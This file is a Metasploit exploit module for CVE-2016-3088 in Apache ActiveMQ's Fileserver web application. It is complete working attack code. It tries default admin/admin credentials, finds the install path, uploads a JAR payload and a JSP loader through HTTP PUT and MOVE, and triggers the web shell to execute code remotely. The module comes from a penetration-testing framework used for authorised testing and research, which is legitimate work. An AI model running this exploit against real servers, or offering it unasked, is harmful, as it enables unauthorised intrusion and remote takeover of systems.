##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'ActiveMQ web shell upload',
      'Description' => %q(
        The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
        allows remote attackers to upload and execute arbitrary files via an
        HTTP PUT followed by an HTTP MOVE request.
      ),
      'Author'      => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-3088' ],
          [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
        ],
      'Privileged'  => true,
      'Platform'    => %w{ java linux win },
      'Targets'     =>
        [
          [ 'Java Universal',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA
            }
          ],
          [ 'Linux',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86
            }
          ],
          [ 'Windows',
             {
               'Platform' => 'win',
               'Arch' => ARCH_X86
             }
           ]
        ],
      'DisclosureDate' => '2016-06-01',
      'DefaultTarget'  => 0))
    register_options(
      [
        OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
        OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
        Opt::RPORT(8161)
      ])
    register_advanced_options(
      [
        OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
      ])
  end

  def jsp_text(payload_name)
    %{
    <%@ page import="java.io.*"
    %><%@ page import="java.net.*"
    %><%
    URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
    Class c = cl.loadClass("metasploit.Payload");
    c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
    %>}
  end

  def exploit
    jar_payload = payload.encoded_jar.pack
    payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
    host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
    @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
    paths = get_upload_paths
    paths.each do |path|
      if try_upload(path, jar_payload, payload_name)
        break handler if trigger_payload(payload_name)
        print_error('Unable to trigger payload')
      end
    end
  end

  def try_upload(path, jar_payload, payload_name)
    ['.jar', '.jsp'].each do |ext|
      file_name = payload_name + ext
      data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
      move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }
      upload_uri = normalize_uri('fileserver', file_name)
      print_status("Uploading #{move_headers['Destination']}")
      register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')
      return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
                              send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
      @trigger_resource = /webapps(.*)/.match(path)[1]
    end
    true
  end

  def get_upload_paths
    base_path = "#{get_install_path}/webapps"
    custom_path = datastore['UploadPath']
    return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
    [ "#{base_path}/api/", "#{base_path}/admin/" ]
  end

  def get_install_path
    properties_page = send_request('GET', "#{@url}/admin/test/")
    fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false
    properties_page = properties_page.body
    match = properties_page.match(/activemq\.home=([^,}]+)/)
    return match[1] unless match.nil?
  end

  def send_request(method, uri, expected_response = 200, opts = {})
    opts['headers'] ||= {}
    opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
    opts['headers']['Connection'] = 'close'
    r = send_request_cgi(
      {
        'method'  => method,
        'uri'     => uri
      }.merge(opts)
    )
    if r.nil?
      fail_with(Failure::Unreachable, 'Could not reach the target!')
    end
    return false if expected_response != r.code.to_i
    r
  end

  def trigger_payload(payload_name)
    send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
  end

  def error_out
    print_error('Upload failed')
    @trigger_resource = nil
    false
  end
end
